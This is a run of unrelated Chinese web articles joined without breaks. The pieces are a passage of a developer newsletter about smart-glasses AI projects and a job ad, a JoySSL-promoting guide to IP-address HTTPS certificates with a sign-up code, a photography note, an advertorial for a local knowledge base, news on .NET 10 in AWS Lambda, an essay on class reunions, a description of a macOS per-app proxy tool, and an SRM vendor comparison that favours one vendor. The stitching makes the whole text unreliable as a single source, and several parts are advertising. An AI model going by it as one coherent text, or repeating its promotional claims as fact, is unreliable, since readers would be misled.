  • 实时环境感知:利用眼镜摄像头以每秒约 1 帧的速度向 Gemini 传输画面,AI 能够实时描述用户看到的景象。
  • 双向语音交互:基于 Gemini Live API,系统支持原生的实时音频流传输,而非传统的「语音转文字」后再处理,响应更加自然。
  • 智能体代理操作:通过接入可选的 OpenClaw 本地网关,AI 能够跨应用执行任务,如将物品添加到购物清单、通过 WhatsApp 发送消息或搜索附近商铺。

在技术实现上,该项目基于 Meta Wearables DAT SDK 与 Gemini Live API 构建。它不仅支持 Meta 智能眼镜模式,还特别提供了「iPhone 模式」,方便开发者在没有硬件眼镜的情况下,利用手机后置摄像头测试完整的 AI 链路。

GitHub:
https://github.com/sseanliu/VisionClaw

( @GitHub)

2、告别模糊定位:VPS 技术赋予智能眼镜「空间感知」新高度

来自开发者 Nikhil Sawlani:

智能眼镜现在具备了空间智能。multiset.ai 的视觉定位服务(VPS) 现已支持可穿戴设备,并首发适配 Meta Ray-Ban 智能眼镜。凭借小于 5 厘米的定位精度,眼镜能够精确感知设备的实时位置。

( @sawlaninik@X)

05 社区黑板报

招聘、项目分享、求助……任何你想和社区分享的信息,请联系我们投稿。(加微信 creators2022,备注「社区黑板报」)

1、招聘后端工程师(全职 Remote)

【项目背景】

团队实力: 顶级内容 IP 制作运营团队 。

战略合作: 与日本游戏大厂深度战略合作,资源与技术底蕴深厚。

核心产品: 打造下一代「桌面全息仓」,赋予数字生命毫秒级交互体验 。

【职位详情】

性质: 全职(base 日本),支持远程办公 (Remote) 。

【核心挑战】

多模态中枢: 构建支持语音、文本、视觉输入的实时交互流水线 。

极致低延迟: 优化 TTFT(首 Token 延迟),确保全链路延迟在 1 秒以内 。

底层通信: 基于 WebRTC、WebSocket 或 Protobuf 设计高频指令传输协议 。

【任职要求】

精通异步后端开发,构建支持多模态(语音/文本/视觉)的实时交互流水线 。

熟悉音视频编解码(Opus/PCM)及抖动缓冲区设计 。

熟悉 TEN Framework/ LiveKit / Pipecat / Vapi 等至少一种实时框架 。

联系人:Andy

微信:xianhuabusi002

<邮箱:kai.shi0818@gmail.com>

阅读更多 Voice Agent 学习笔记:了解最懂 AI 语音的头脑都在思考什么

写在最后:

我们欢迎更多的小伙伴参与「RTE 开发者日报」内容的共创,感兴趣的朋友请通过开发者社区或公众号留言联系,记得报暗号「共创」。

对于任何反馈(包括但不限于内容上、形式上)我们不胜感激、并有小惊喜回馈,例如你希望从日报中看到哪些内容;自己推荐的信源、项目、话题、活动等;或者列举几个你喜欢看、平时常看的内容渠道;内容排版或呈现形式上有哪些可以改进的地方等。

作者提示: 个人观点,仅供参考

关于IP地址申请HTTPS证书的问题,确实存在一些特定的情况和限制。以下是对这个问题的详细解答:

IP地址能否申请HTTPS证书?

是的,可以为IP地址申请HTTPS证书。不过,这与为域名申请证书有所不同,并且有一些特殊的要求和限制。

1. 公网IP地址

  • 公网访问性:申请证书的IP地址必须是一个可以通过互联网直接访问到的公网IP地址。内网或私有IP地址由于不在公共网络上可见,因此无法用于获取被广泛信任的SSL/TLS证书。
  • 唯一性:该IP地址应该是唯一的,并且你对其拥有完全控制权。这意味着你可以管理该IP上的服务配置及文件。

2. 证书类型

  • 支持的证书类型:通常情况下,针对IP地址的证书仅限于域名验证(DV)级别或组织验证(OV)级别的SSL证书。扩展验证(EV)级别的证书一般不支持IP地址。
  • 单个IP绑定:一个证书只能绑定到一个具体的IP地址,而不像域名那样可以通过通配符证书覆盖多个子域。

3. 验证过程

  • 所有权验证:CA(证书颁发机构)会要求验证你对所申请IP地址的所有权。这通常通过在指定端口上放置一个临时文件来完成。
  • 端口开放需求:在进行验证的过程中,可能需要短暂开放某些端口以便CA能够访问验证文件。

4. 适用场景

  • 服务器通信:当两个系统之间需要建立安全连接,但又没有域名时,使用IP地址的证书非常有用,例如在内部网络中或者开发测试环境中。
  • 物联网设备:对于那些直接通过IP地址连接的IoT设备来说,这样的证书可以提供额外的安全保障。

申请步骤概述

IP地址https证书申请入口

  1. 选择合适的CA:打开JoySSL官方网站注册一个账号。在注册过程中,需要填写特定的注册码230970以获得免费测试ip证书的权限。
  2. 生成CSR文件:使用你的服务器软件创建证书签名请求(CSR)文件,这将包含公钥信息。
  3. 提交申请并验证:向CA提交CSR文件以及必要的信息,然后根据指示完成所有权验证。
  4. 安装证书:一旦获得证书,将其正确配置到你的Web服务器上。

注意事项

  • 成本考量:与基于域名的证书相比,IP地址的证书可能会更昂贵,尤其是企业级产品。
  • 浏览器兼容性:部分老旧浏览器可能不支持IP地址证书,因此要确保目标用户群体使用的浏览器版本支持这种类型的证书。
  • 安全性:虽然IP地址证书提供了加密传输,但在公开网络上,使用域名证书通常是更好的选择,因为它们更容易记忆且便于品牌推广。

总之,虽然为IP地址申请HTTPS证书是一种可行的方法,特别是在特定的应用场景下,但对于大多数面向公众的服务而言,建议还是优先考虑使用域名证书。如果确实需要为IP地址申请证书,请确保遵循上述指导原则,以顺利完成整个过程。

周日新镜头到了,迫不及待周一早上提早 1 小时起床,趁着上班前在公司附近的公园拍拍小翠。

前面 7 张都是昨天早上拍的,最后一张是今天早上新鲜出炉的!也是目前为止最满意的一张了。

目前最大的问题就是全程手持还是太累了,拍一会手就抖的不行,准备周末看看架子和云台去。

本地知识库:数据安全与智能管理的新选择

在数字化时代,知识管理已成为个人和企业不可或缺的一部分。传统的云知识库虽然方便,但数据安全问题日益凸显。本地知识库应运而生,成为保护数据隐私的重要解决方案。

什么是本地知识库?

本地知识库是一种在用户本地设备上运行的知识管理系统,主要用于文件内容搜索和文件知识问答。与依赖网络知识的通用大模型不同,本地知识库能够依据个人电脑或企业服务器中的文件内容进行精准回答。

访答本地知识库的核心功能包括:

  • 文件上传:将个人电脑中的各类文件投影到知识库
  • 深度解析:详细解析PDF、Word、图片、Excel等文档内容
  • 智能搜索:直接搜索相关内容在哪些文件中出现
  • 知识问答:依据文件知识进行准确回答

为什么需要本地知识库?

数据安全至关重要

云知识库中的文件数据存在被窃取、被AI白嫖的风险。访答本地知识库作为离线知识库,具有以下安全优势:

  • 一键安装,0代码使用
  • 不会上传任何文件
  • 断网可用,绝对安全
  • 自主可控,可自定义
  • 保护私有知识产权和数据隐私

企业内部数据作为核心资产,更不可能上传到云端。本地知识库确保了数据主权始终掌握在用户手中。

本地知识库的核心功能

深度文件解析能力

访答知识库对各种类型文件的解析能力令人印象深刻:

  • 图片:识别图片中的文字和内容描述
  • PDF/Word:提取文本、图片、公式、表格、印章等
  • Excel:处理表格数据
  • 视频:解析视频中的图片、语音、文字
  • 音频:转写音频文字

多模态搜索与问答

本地知识库支持多种搜索和问答形式:

  • 文本包含和相似搜索
  • 图片、语音、视频相似搜索
  • 多模态搜索(文本搜图片、文本搜语音等)
  • 文件整体相似性比较
  • 智能问答基于Qwen、Deepseek等模型

本地知识库的应用场景

AI智能客服问答

企业可将商品信息沉淀入知识库,在用户询问时搜索相关信息并生成准确回答。支持多模态问答、多级问答和自助客服,显著提升客服效率。

智能商品推荐

依据用户行为和商品特征,从知识库中搜索相似商品进行推荐。支持多样性推荐、冷启动和否推荐功能,实现精准营销。

企业知识管理

打破部门间知识壁垒,方便内部沟通和高效检索。存储员工手册、流程文档和技术资料,助力企业智能化转型。

本地知识库 vs 云知识库

访答本地知识库的所有操作都在用户电脑上进行,不上传任何文件数据,所有AI模型都在本地运行。而云知识库跟随账户,在任意电脑登录即可使用,但存在数据外泄风险。

立即体验安全的知识管理

本地知识库是数据主权时代的刚需选择。访答提供绝对安全的本地知识库解决方案,一键安装,0代码使用,让您的知识管理既智能又安全。

无论您是个人用户还是企业用户,保护文件数据安全都是首要考虑因素。选择本地知识库,就是选择对数据的完全控制权。

亚马逊云科技宣布,AWS Lambda 现在已经支持使用.NET 10 创建无服务器应用程序。通过这次更新,在构建和运行 Lambda 函数时,开发者可以将.NET 10 作为托管运行时和基于容器的镜像来使用。

 

按照亚马逊云科技的说法,当有新版本发布时,托管运行时和基础镜像会自动更新,不需要开发团队手动维护。

 

.NET 10是.NET 平台最新的长期支持版本,在 2028 年 11 月之前会一直提供安全更新和 Bug 修复。通过在 AWS Lambda 上提供.NET 10,亚马逊云科技旨在使开发者能够在无服务器环境中使用平台的最新特性。这包括支持基于文件的应用程序,旨在简化应用程序结构和开发工作流。

 

此次发布还增加了对Lambda托管实例的支持。这项能力使 Lambda 函数能够在 Amazon EC2 实例上运行,同时保留通常与无服务器计算相关的操作模型。亚马逊云科技表示,这个选项旨在提供更多的灵活性,包括潜在的成本效益和对专用计算资源的访问权限,同时减少通常与服务器管理相关的运营开销。

 

此外,Powertools for AWS Lambda (.NET)是一个旨在帮助开发者遵循无服务器最佳实践并提高开发速度的工具包,现在也已提供.NET 10 支持。开发者可以继续使用亚马逊云科技提供的各种工具来部署和管理他们的应用程序,包括 Lambda 控制台、AWS Command Line Interface、AWS Serverless Application Model、AWS Cloud Development Kit 和 AWS CloudFormation。

 

正如官方公告所言,.NET 10 运行时可以在所有 AWS 区域中使用,包括 AWS GovCloud(美国)区域和中国区域。

 

社区对这一公告表现出了很大的热情,并进行了技术探讨。Reddit上的.NET开发者们既充满期待又带着务实的好奇,众多评论聚焦于.NET 10 带来的全新的基于文件的应用开发体验。有社区成员表示,一旦基于文件的应用编辑能和常规 JavaScript 工作流一样流畅,他们会“欣喜若狂”。

 

还有一些人讨论了构建工具、使用当前的 CLI 方法所需的部署步骤,以及可能对冷启动性能产生的影响。从这些讨论中可以看出,总体而言,.NET 开发者对这个扩展的无服务器选项是认可的,并且对未来改进 Lambda 工具和编辑器支持也很感兴趣。

 

亚马逊云科技还发布了一篇详细的博文,演示如何在 AWS Lambda 中使用新的.NET 10 运行时。该文通过一个示例展示了如何创建、配置和部署基于.NET 10 的 Lambda 函数,并解释了可用的运行时和部署选项。

Lambda 控制台的创建函数页面,图片来源:亚马逊云科技博客

 

根据亚马逊云科技的说法,该示例旨在帮助开发者利用他们提供的标准工具在现有的无服务器工作流中采用.NET 10。

 

亚马逊云科技的官方文档和公告材料中提供了完整的发布说明和其他一些细节,感兴趣的读者可以进一步阅读。

 

原文链接:

https://www.infoq.com/news/2026/01/dotnet-10-available-for-aws/

不知道大家有没有类似的感受,自从毕业之后,身边很多当年在学校里关系非常要好,走得非常近的同学和朋友似乎开始渐渐从自己的生活中消失了

而且随着年龄的逐渐增加,这种感觉也愈发明显。

包括上周末,我在家备份迁移微信聊天记录,我突然发现高中班级群已经安静了快一年了,这一年中居然没有任何一位同学在里面发消息,上一次有消息弹出,还是定格在过年时群主例行公事般发的祝福模板。

后来我又看了看大学的班级群,果不其然,也是快一年没有人说话了。

顺着往前翻,翻到五年前的聊天记录,那时候满屏还都是“聚会地点投票”、“谁从深圳回来了”、“能不能带家属”的热闹。

而现在,那种张罗同学聚会的热情,好像不知不觉就淡了。

这时候我不禁想起了前段时间刷职场社区所看到的一个帖子:为什么现在不流行同学聚会了?参与讨论的同学也不少。

这不马上也过年了嘛,这时候我才意识到,原来我们也已经有好多年没有办过同学聚会了。


回想起念书以及刚毕业那会儿,同学聚会是件大事。每逢年节,班级群里总会热闹一阵,老早就会有人开始提前张罗这事。

刚开始那几年,大家都有说不完的话,谁去了北京上海,谁考上了公务员、研究生,谁在单位遇见了奇葩领导。

酒杯碰撞的声音里,装着二十多岁的年轻人对世界的新鲜困惑与试探。所有人的眼睛都亮晶晶的,仿佛要把分开这些年错过的彼此人生都找补回来。

但是现在呢?

班级群大多沉寂着,即便偶尔有消息,要么是学校新闻转发,或是微商帖子,甚至是某个同学随手转发的互联网新闻等等。

那个曾经承载了我们无数青春回忆的群聊,仿佛已经成了互联网上一个被遗忘的角落。我们似乎都默契地选择了不打扰,选择了各自安好。

于是我就在想,为什么会这样呢?

是大家都忙于生计,真抽不出时间吗?还是通讯太发达了,让我们觉得即便不面对面,也仿佛随时能联系上?亦或是,在我们内心深处,对这种形式的聚会,已经产生了一种难以言说的倦怠和疏离?

这里我也来试着聊一聊我个人的一些理解吧,也欢迎大家一起来分享交流。


首先聊聊心态的变化。

年轻的时候,大家聚在一起,聊的是梦想,是八卦,是那个谁喜欢谁的小秘密,是考试成绩的起起落落。那时候,大家彼此是对方青春岁月里重要的见证者。

但随着年岁渐长,步入社会,大家被抛入了各自的人生轨道。几年、十几年过去,大家的境遇早已千差万别。

有的人在职场春风得意,有的人在创业路上摸爬滚打,有的人选择回归家庭,也有的人还在为下一份工作的去向而迷茫。

这时候再聚在一起,聊什么呢?聊工作?怕变成炫耀或诉苦的大会。聊家庭?没结婚的尴尬,结了婚的可能有一肚子苦水。聊孩子?那似乎更是另一个次元的话题了。

大家试图小心翼翼地避开那些可能引起不适的话题,最后发现能聊的,似乎只剩下一些苍白的客套和对过去的记忆。

这样一来,就变成尬聊了,有点像那种社交表演,演完各自散场,心里反而可能添上几分空落落的疲惫。

再说说生活重心的变化。

我们这一代人,现在大家也逐渐步入了上有老下有小的阶段了。

工作日要为 KPI、为代码、为各种突发状况焦头烂额,周末那点可怜的休息时间,恨不得全部用来补觉、陪家人、陪孩子。

参加一次同学聚会,意味着要提前规划时间,可能要舟车劳顿,要在饭桌上应付各种寒暄和调侃,这本身就是一件耗费巨大精力的事情。

而聚会带来的“收益”呢?似乎除了短暂的、甚至有些虚假的热闹,并没有太多实质性意义。

与其把宝贵的休息时间花在和一群可能已经陌生的人尬聊上,不如在家陪陪父母孩子,或者一个人安安静静地读会书、打会游戏来得惬意实在。

大家的精力和时间,越来越宝贵,也越来越“自私”吧,可能只想留给真正重要的人和事。

当然,可能还有一种微妙的心理在作祟,虽然大家嘴上不说,但心里都明白,那就是比较和防御。

同学聚会,某种程度上,也是一场无声的攀比大会。虽然大家明里不说,但眼睛是雪亮的。

谁开的车好,谁穿的衣服贵,谁的言谈举止更有社会地位,谁的孩子更优秀…这些信息会像雷达一样,自动扫描、接收、处理。

这种比较,往往会带来焦虑、失落,甚至是自卑。为了避免这种不必要的心理波动,很多人选择主动屏蔽掉这种可能引发比较的场景。

大家可能更愿意活在自己的小世界里,守护着自己那份平凡的安稳,而不是在聚会的喧嚣中,被别人的光芒刺痛眼睛。

当然还有一点,也有可能是大家对“同学”这个身份的认同感在渐渐淡化吧。

在学校时,大家因为共同的学习环境、共同的奋斗目标而凝聚在一起。但毕业后,大家被社会这所更大的学校重新塑造。大家的价值观、人生观、世界观,都在各自的经历和圈子中发生了变化。

曾经的共同语言,可能早已被现实的洪流冲刷得所剩无几。

曾经的同学成了社会人,身上贴满了各种标签:父亲、母亲、程序员、产品经理、销售、主管……

「同学」这个标签在彼此身上,或许已经褪色成了最不重要、甚至可以忽略不计的那一个。

大家可能更愿意和志同道合的朋友、和工作上的伙伴、和兴趣相投的圈子交往,因为那里有更直接的共鸣和更有效的连接。

当然,这里并不是说同学聚会就一无是处,或者应该彻底消失。

我坚信,对于某些人,某些特定的圈子,同学聚会依然是维系情感的重要纽带。

而且我也相信,总有一些真挚的情谊,能够跨越时空的阻隔,历久弥新。

只是,对于大多数人而言,对于这种形式的、带有某种仪式感的集体聚会可能确实已经不那么热衷了,大家觉得呢?

那关于这个问题,你的看法是什么呢,如果有不同的见解,也欢迎一起来分享交流~

注:本文在GitHub开源仓库「编程之路」 https://github.com/rd2coding/Road2Coding 中已经收录,里面有我整理的6大编程方向(岗位)的自学路线+知识点大梳理、面试考点、我的简历、几本硬核pdf笔记,以及程序员生活和感悟,欢迎star。

Antify:macOS 原生透明代理工具

告别全局代理或强制开启 TUN 模式的粗暴方式,Antify 让你精确控制每个 App 的网络

简介

Antify 是一款 macOS 原生的透明代理工具,基于 Apple NetworkExtension 框架 开发,目标 App 完全无感知。

核心亮点

按应用分流

为任意 App/CLI 独立设置 Proxy / Direct / Block 三种模式。
例如:Chrome 走代理、微信直连、某个 App 直接禁止联网——一键配置。

子进程自动继承

给 Chrome 设置代理,其子进程(如 Chrome Helper )自动跟随,无需逐个配置。
对 Electron 应用、Xcode SMP 等复杂应用,支持一键生成规则

命令行工具支持

不仅支持 .appcurlgitpipnpm 等 CLI 工具也能单独设置规则,支持路径精确匹配

高级过滤

单条规则内可按以下条件过滤:

  • 目标域名(支持通配符,如 *.google.com
  • 端口(支持范围,如 8000-9000
    只代理你关心的流量。

多配置 + Wi-Fi 自动切换

支持创建多套配置(如“公司 / 家 / 咖啡厅”),并绑定 Wi-Fi SSID 自动切换

DNS 防泄漏

支持远端 DNS 解析,提供三种 DNS 重定向模式可选。

实时连接监控

Discovery 模式 下实时查看每个连接的来源 App 、目标地址、协议,支持一键创建控制规则


支持的协议

  • SOCKS5
  • HTTP / HTTPS


系统要求

macOS 14+


版本信息

当前版本:v0.0.27,持续迭代中。

企业数字化转型走到供应链阶段,SRM几乎是绕不开的一环。原因很简单:供应商不只是“下单对象”,而是直接影响交付、成本与风险的关键变量。用好SRM,能让采购从“靠人盯”变成“靠系统跑”,从混乱协同变成数据闭环。

但现实里,很多企业在选SRM时卡在一个问题上:
到底选国际知名SRM平台,还是选国内厂商?

其实这两类产品没有绝对优劣,核心在于:你的业务范围是否全球化?你的采购流程复杂到什么程度?你更看重成本还是标准化能力?
下面我们来详细对比一下,帮你少走弯路。

一、国内SRM厂商

过去几年国内SRM市场发展很快,这背后很关键的一点是:国内企业的采购协同方式、票税合规、审批习惯、供应商沟通工具都很本土化,本土厂商自然更“懂流程”。

目前较有代表性的国内厂商包括:正远科技、金蝶、用友。

1、正远科技:全流程智慧协同,多行业适配能力强

https://www.zhengyuantech.cn/

如果用一句话概括正远科技的优势:把采购全流程做细做透,并且真正能落地到日常采购协同。

它的SRM不是“堆模块”,而是围绕供应商全生命周期搭建体系,从准入到退出都有对应机制,适合希望“把供应商管起来、把采购跑顺”的企业。

(1)供应商管理中心:准入+档案+绩效闭环

供应商资质、证照、能力信息统一管理

资质到期自动预警,减少合规踩坑

(2)价格管理中心:寻源方式丰富,控成本更有抓手

比价、询比价、招标、竞价等场景覆盖

可构建物料价格库与历史趋势对比,让成本管理更“有数据”

(3)采购执行协同中心:订单—收货—对账—发票在线协同

这是企业用起来最容易直接感知价值的部分:

订单、到货、对账、开票在线协同

减少Excel来回、邮件沟通,协同效率提升明显

(4)数字化决策中心:把采购数据变成可用报表

采购周期、价格趋势、供应商表现可视化

采购管理从“经验决策”转向“数据决策”

(5)系统集成能力:能跟企业现有信息化系统打通

对接ERP、MES、WMS等常见系统

同时支持移动端协同,贴合国内采购人员工作方式

整体来说,正远科技更适合:采购流程多、寻源方式多、供应商数量多、对协同与合规要求高的企业。

2、金蝶:轻量化云产品,适合中小微快速上线

金蝶的风格更明确:轻量、云化、成本友好。
如果企业采购流程并不复杂,重点是“赶紧把协同跑起来、别再靠Excel”,金蝶SRM通常会更合适。

(1)订阅制云模式,投入更低

免服务器、免复杂部署

市场资料中常见口径:基础订阅价格“年费1.2万元起”(属于订阅型产品常见区间)

(2)功能聚焦刚需场景

供应商准入、订单协同、对账结算等需求覆盖充分

操作门槛低,供应商协同更顺

(3)更适合“第一套SRM”

优势是“快、轻、省”;不足是高级治理模块相对少。适合中小微企业或成长型企业先解决协同效率问题。

3、用友:ERP协同优势明显,适配中大型企业一体化管理

用友SRM的核心标签是:与ERP生态一体化能力强。
如果企业原本就在用用友ERP,或者希望实现“财务+采购+供应链”协同治理,用友会更顺畅。

(1)适配集团化、多组织、多层级审批

(2)覆盖复杂生产物料与多工厂协同

(3)适合有IT团队、预算较充足的中大型企业

用友体系往往“更重”,对应的实施周期与成本也更高,更适合规模化采购治理需求明确的企业。

二、国际知名SRM平台

国际平台在跨国企业里使用广泛,本质优势在于:
全球供应商网络、多语言多币种、标准化治理体系成熟。

但如果企业主要业务在国内,落地时常见挑战是:

①本土流程与票税习惯差异

②国内协同工具与支付方式适配

③交付成、实施周期、长期TCO偏高

④代表平台包括SAP、Oracle、Coupa等。

1、SAP:全球化寻源与协同标杆,跨国集团首选之一

SAP的优势非常典型:全球化标准体系成熟,适合全球采购治理。

(1)全球供应商协同网络覆盖广

SAP的Business Network/Ariba体系可支持大规模供应商在线协同,覆盖范围广、适配全球协同。

(2)供应商风险与绩效体系成熟

适合供应链层级复杂、采购体量大的集团化企业。

(3)挑战:本地化与成本门槛

对国内企业来说,SAP常见问题是:

①本地化需要二次适配

②实施依赖认证团队

③成本与周期对中小企业不友好

2、Oracle:功能全面,适合大型集团复杂场景

Oracle SRM体系偏向“全覆盖、强扩展”,同时和Oracle自身生态结合紧密。

(1)适合高定制、强治理的大型集团

(2)适合已使用Oracle技术栈的企业

(3)挑战:IT门槛高、实施成本高、周期长

3、Coupa:支出管理与分析强,重视精细化费用治理

Coupa的独特价值在于:支出管理与分析能力强,尤其适合重视预算、费用、付款治理的行业。

(1)支出分析与费用治理能力突出

(2)支持早付折扣/动态折扣等工作资本优化功能(Coupa官方也有相关功能资料)

(3)挑战:本土流程适配与综合成本

国内企业用Coupa往往需要更多本地化对接与流程适配,且对中小企业的性价比不高。

三、国际与国内SRM核心特点对比

1、适配场景:本土优先 vs 全球优先

国内厂商:适配国内流程、政策合规与协同工具

国际平台:适配全球化寻源、多语言多币种结算

2、成本与门槛:可控 vs 高投入

国内厂商:价格梯度灵活,上线快,维护成本低

国际平台:初始投入+实施成本+长期运维成本普遍更高

3、功能侧重:实用落地 vs 全面复杂

国内厂商:更偏“解决当下采购痛点”,迭代快

国际平台:功能体系成熟但复杂,中小企业易“大材小用”

4、服务响应:本地快 vs 全球标准化

国内厂商:本地交付资源多,响应速度快

国际平台:标准化强,但本地支持响应、沟通成本相对高

四、企业怎么选?

为了不选错,建议抓住三个关键词:规模、范围、痛点

1、中小微企业(预算有限、流程不复杂)

优先选国内:

(1)想把采购全流程协同跑顺:正远科技

(2)更关注快速上线、轻量协同:金蝶云化方案

2、国内中大型企业(协同复杂、追求治理能力)

(1)希望与ERP一体化:用友优势更明显

(2)寻源方式多、供应商治理需求高:正远科技更贴合

3、跨国集团(多币种、多国家、多供应商)

(1)全球化寻源与标准化治理:SAP/Oracle等更占优势

(2)但必须评估本地化适配成本与实施资源,避免“上线难、用不深”

结语:SRM选型的本质是“适配”,不是“品牌”

SRM系统真正的价值只有一句话:
采购流程跑顺、供应商管住、协同变快、成本可控、风险可见。

国际平台强在全球化治理,国内厂商赢在本土落地。选型最怕的是:系统看起来很强,但落地后员工不用、供应商不配合、最终回到Excel。

因此建议你在选型时用一个标准去判断:
能否解决你的采购痛点,并被业务部门真正用起来。